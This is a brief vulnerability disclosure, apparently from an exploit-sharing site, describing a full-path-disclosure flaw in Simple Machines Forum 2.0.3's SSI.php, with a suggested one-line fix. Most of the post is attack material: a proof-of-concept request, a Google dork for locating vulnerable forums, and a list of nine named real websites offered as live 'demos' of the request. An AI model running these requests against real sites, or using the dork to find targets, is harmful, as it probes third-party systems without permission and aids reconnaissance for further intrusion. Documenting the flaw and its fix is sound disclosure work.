Simple Machines Forum 2.0.3 Path Disclosure

*Summary:*
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A security flaw allows an attacker to know the full path of the web system.

*Details:
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*SSI.php Line 294:
// Fetch a post with a particular ID. By default will only show if you have
permission to the see the board in question - this can be overriden.
function ssi_fetchPosts($post_ids, $override_permissions = false,
$output_method = 'echo')
{

$post_id is not defined. Possible fix: ($post_id = false)


*PoC:
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*http://example.com/forumpath/SSI.php?ssi_function=fetchPosts

*Google Dorks:
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*inurl:?index.php?action=help

*Demos:
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*http://simpleportal.net/SSI.php?ssi_function=fetchPosts
http://www.furgovw.org/SSI.php?ssi_function=fetchPosts
http://www.teachmideast.com/forum_old/SSI.php?ssi_function=fetchPosts
http://www.slowracing.com/jaxfox/SSI.php?ssi_function=fetchPosts
http://www.iptv2you.com/board/SSI.php?ssi_function=fetchPosts
http://voceteopr.com/SSI.php?ssi_function=fetchPosts
http://www.thesilverball.com/SSI.php?ssi_function=fetchPosts
http://othforums.com/SSI.php?ssi_function=fetchPosts
http://www.skinmod.eu/SSI.php?ssi_function=fetchPosts